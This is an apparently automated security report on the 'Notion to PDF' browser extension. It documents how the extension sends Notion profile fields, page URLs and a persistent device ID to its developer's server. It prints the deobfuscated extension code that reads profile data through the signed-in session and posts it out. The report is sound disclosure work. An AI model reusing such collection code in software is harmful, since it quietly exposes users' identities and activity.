Is Notion to PDF safe?
Notion to PDF is high risk. Clicking the export button reads Notion profile fields from the session, joins them with the page URL, base64-encodes it, sends it as type3 to api.notiontopdf.site/nftCurrency/getInfo. Testing saw the endpoint accept empty type3.…
Who publishes itwindea.yu - 1 other listing from the same operator, none carrying a finding
windea.yu - 1 other listing from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 10k+ users between them, none of them carrying a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Notion Profile and Page URL Sent During Export
Clicking the export button reads Notion profile fields from the session, joins them with the page URL, base64-encodes it, sends it as type3 to api.notiontopdf.site/nftCurrency/getInfo.
Testing saw the endpoint accept empty type3.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You click the Notion to PDF export button on a Notion page.
The export workflow runs inside pages where the extension content script is installed.
The extension reads Notion profile fields, combines them with the page URL, and posts the encoded result to its server.
The profile read uses Notion session credentials already available in the browser.
- Current Notion page URLhttps://www.notion.so/acme/Project-Plan-4f2c8d9a7b6e4c0a9d1e2f3a4b5c6d7e (illustrative)
This identifies which Notion page was open when you exported the PDF.
- Notion email addressalex@example.com (illustrative)
This ties the export activity to the signed-in Notion account.
- Notion display nameAlex Example (illustrative)
This adds the account holder name associated with the signed-in Notion profile.
- Notion family and given namesExample | Alex (illustrative)
These profile fields can identify the person behind the Notion account.
The profile-bearing string is base64-encoded before it is placed into the type3 form field; this example is illustrative and generated with the shipped encoder.
https://www.notion.so/acme/Project-Plan-4f2c8d9a7b6e4c0a9d1e2f3a4b5c6d7e|alex@example.com|Alex Example|Example|Alex|The endpoint accepted a POST during unauthenticated dynamic analysis; the recorded body contained an empty type3 value.
- content-Type
- application/x-www-form-urlencoded
type3=+Shipped code that reads Notion profile fields and sends type3
Base64 encoder used before submission
deobfuscated/content.min.jsfunction a(e) { return window.btoa(unescape(encodeURIComponent(e))) }Authenticated Notion API request helper
deobfuscated/content.min.jsasync function B(e, t) { const n = Object.assign({ credentials: "include" }, t || {}), o = function(e, t) { const n = String(e || "").replace(/^\/+/, ""); return N(t) + "/api/v3/" + n }(e), i = "https://www.notion.so/api/v3/" + String(e || "").replace(/^\/+/, ""); try { const e = await fetch(o, n); return e.ok || o === i ? e : await fetch(i, n) } catch (e) { if (o !== i) return await fetch(i, n); throw e } }Form encoder for POST fields
deobfuscated/content.min.jsfunction O(e) { return e = (e + "").toString(), encodeURIComponent(e).replace(/!/g, "%21").replace(/'/g, "%27").replace(/\(/g, "%28").replace(/\)/g, "%29").replace(/\*/g, "%2A").replace(/%20/g, "+") }POST builder for nftCurrency/getInfo
deobfuscated/content.min.jsfunction L(e, t, n, o, i) { return new Promise((async (a, r) => { var l = chrome.runtime.getManifest().version, s = "FREE", c = (await k.get("buyInfo")).buyInfo; null != c && null != c.result && c.result.applicationId, null != c && ("Temp" == c.msg && (s = "TEMPPRO"), null != c.result && null != c.result.applicationId && (s = "PRO")); var d = "id=" + O(e) + "&type1=" + O(t + " " + l + " " + s) + "&type2=" + O(n) + "&type3=" + O(o + " " + i) + "&type4=" + O(chrome.runtime.id); fetch(T.URLgetInfo, { method: "POST", headers: { "content-Type": "application/x-www-form-urlencoded" }, body: d }).then((e => { e.json() })).then((e => { a(e) })).catch((e => { r(e) })) })) }Notion profile extraction from getSpaces
deobfuscated/content.min.jsasync function q() { try { var e = await new Promise(((e, t) => { B("getSpaces", { method: "POST", headers: { pragma: "no-cache", "cache-control": "no-cache" } }).then((e => e.json())).then((t => { e(t) })).catch((t => { e("") })) })), t = Object.keys(e), n = ""; for (var o in t) { var i = e[t[o]].notion_user[t[o]], a = i.value.email, r = i.value.name, l = i.value.family_name, s = i.value.given_name; n = n + a + "|" + (void 0 === r ? "" : r) + "|" + (void 0 === l ? "" : l) + "|" + (void 0 === s ? "" : s) + "|" } return n } catch (e) { return "|" + e } }PDF export click handler
deobfuscated/content.min.jsasync function(e) { if (U()) { var t = !1, n = !1; try { $("#buttonPDF").prop("value", chrome.i18n.getMessage("js_content_msg_exporting")), $("#buttonPDF").attr("disabled", !0); var o = await q(); F.getExtensionId().then((e => { L(e, "NTP", "Export", "Click", a(document.URL + "|" + o)) })); var i = Date.now(); const e = await w("#buttonPDF", !1); if (!e.success) return; t = e.needsRestore, n = e.originalDarkMode; var r = await k.get("paperType"), l = await k.get("paperOrientation"); await async function(e, t) { var n = !1, o = "#buttonPDF"; $(o).prop("value", chrome.i18n.getMessage("js_content_msg_exporting0of5")); var i = document.getElementsByClassName("notion-scroller"); if (null != i) for (var a = 0; a < i.length; a++) { var r = i[a].parentNode; if (r && ("notion-frame" === r.className || r.classList.contains("notion-frame") || "main" === r.id)) { i[a].scrollTop = 0; break } } var l = E(e, t), s = e + "_" + t + "_margin", c = await k.get(s, "LOCAL"); if (c[s]) { var d = c[s]; l.PaperMarginLeft = d.left, l.PaperMarginRight = l.PaperWidth - d.right, l.PaperMarginTop = d.top, l.PaperMarginBottom = l.PaperHeight - d.bottom } l.PaperDisplayWidth = l.PaperWidth - l.PaperMarginLeft - l.PaperMarginRight, l.PaperDisplayHeight = l.PaperHeight - l.PaperMarginTop - l.PaperMarginBottom; var p = { CanvasWidth: 1920, ContentWidth: 0, ContentHeight: 0, Ratio: 2, minWidth: 1480 }, g = { Zoom: 0, ImagePrintHeight: 0, ImagePrintWidth: 0, PDFFileName: "NotionToPDF.pdf", DebugExportOrginImage: !1, DebugExportCutImage: !1, DebugExportLineImage: !1, DebugMaskMode: !1 }; let u = null, h = null; u = document.getElementsByClassName("notion-frame")[0], h = u.cloneNode(!0), g.PDFFileName = D(n, h); let m = document.querySelector("#notion-app > div > div:nth-child(1) > div > nav > div > div > div"), f = 0; m && m.getBoundingClientRect && (f = Math.floor(m.getBoundingClientRect().width)); let y = 0; try { u && u.getBoundingClientRect && (y = Math.floor(u.getBoundingClientRect().width)) } catch (e) {}!y && h && h.getBoundingClientRect && (y = Math.floor(h.getBoundingClientRect().width) || p.CanvasWidth), y || (y = p.CanvasWidth); let v = document.createElement("div"), w = document.createElement("div"); w.setAttribute("style", `width: ${f}px; flex: 0 0 ${f}px;`), h.setAttribute("style", `width: ${y}px;`); let b = f + y; v.setAttribute("style", `display: flex; width: ${b}px;`), v.appendChild(w), v.appendChild(h), p.CanvasWidth = b, $(o).prop("value", chrome.i18n.getMessage("js_content_msg_exporting0of5")), setTimeout((function() { $(o).val() == chrome.i18n.getMessage("js_content_msg_exporting0of5") && $(o).prop("value", chrome.i18n.getMessage("js_content_msg_exporting1of5")) }), 3e3), setTimeout((function() { $(o).val() == chrome.i18n.getMessage("js_content_msg_exporting1of5") && $(o).prop("value", chrome.i18n.getMessage("js_content_msg_exporting2of5")) }), 9e3), setTimeout((function() { $(o).val() == chrome.i18n.getMessage("js_content_msg_exporting2of5") && $(o).prop("value", chrome.i18n.getMessage("js_content_msg_exporting3of5")) }), 18e3); var M = A(), _ = P(); _ && _.getBoundingClientRect(); var C = document.querySelector(".layout-content"); C && C.getBoundingClientRect().width, await x(l, p, g, _, n), R(M), $(o).prop("value", chrome.i18n.getMessage("js_content_msg_exporting3of5")) }(r.paperType, l.paperOrientation); var s = Date.now(); F.getExtensionId().then((e => { L(e, "NTP", "Export", "End", s - i) })) } catch (e) { H(e), U() && F.getExtensionId().then((t => { L(t, "NTP", "Export", "Error", e) })) } finally { $("#buttonPDF").attr("disabled", !1), "Small" == (await k.get("buttonSize")).buttonSize ? $("#buttonPDF").prop("value", chrome.i18n.getMessage("js_content_button_main_small")) : $("#buttonPDF").prop("value", chrome.i18n.getMessage("js_content_button_main")), await M(t, n) } } else j() }- www.notion.so
Notion API host queried for workspace profile data using the signed-in browser session.
- api.notiontopdf.site
Notion to PDF service endpoint receiving the encoded type3 form field during export.
Decodes a Notion to PDF type3 form value so you can inspect the page URL and Notion profile fields that were encoded.
- Node.js 18+
#!/usr/bin/env nodeconst input = process.argv.slice(2).join(' ').trim();if (!input) { console.error('Usage: node notiontopdf-type3-decode.js "type3=aHR0cHM6Ly93d3cubm90aW9uLnNvLw=="'); process.exit(1);}let value = input;if (input.includes('=')) { const params = new URLSearchParams(input); value = params.get('type3') || '';}if (!value) { console.error('No type3 value found.'); process.exit(1);}const decoded = Buffer.from(value.replace(/ /g, '+'), 'base64').toString('utf8');console.log(decoded);- 1node notiontopdf-type3-decode.js "type3=aHR0cHM6Ly93d3cubm90aW9uLnNvLw=="
License checks send a persistent device ID every minute
Notion to PDF regularly contacts the developer's server to check license status.
Each check sends a persistent device tracking ID to api.notiontopdf.site; captured behavior shows this can repeat every minute while the browser runs.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
The extension is installed or loaded in the browser.
The extension schedules a recurring license status check and sends its stored device tracking ID to the developer server.
id=NOTP2960850397D071A1- Stored device tracking IDNOTP2960850397D071A1
This persistent extension-stored value can link repeated license checks from the same browser installation.
Extension metadata sent with user action telemetry.
Using Notion to PDF, its telemetry sends the extension version, license tier, and Chrome runtime ID to api.notiontopdf.site/nftCurrency/getInfo.
The captured POST includes tab/action context plus stored subscription data like the FREE tier.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
The user performs an extension action such as opening the popup or exporting.
The extension sends telemetry containing version, license tier, action context, and runtime ID.
id=NOTP2960850397D071A1&type1=NTP+1.0.0+FREE&type2=POP&type3=+&type4=hfdhkamjdigajnbbbmfallhomnhpmken- Tab or action contextPOP
Shows which extension interaction generated the telemetry event.
- Stored license statusFREE
Reports the subscription state stored by the extension, such as FREE, TEMPPRO, or PRO.
+1 more finding not shown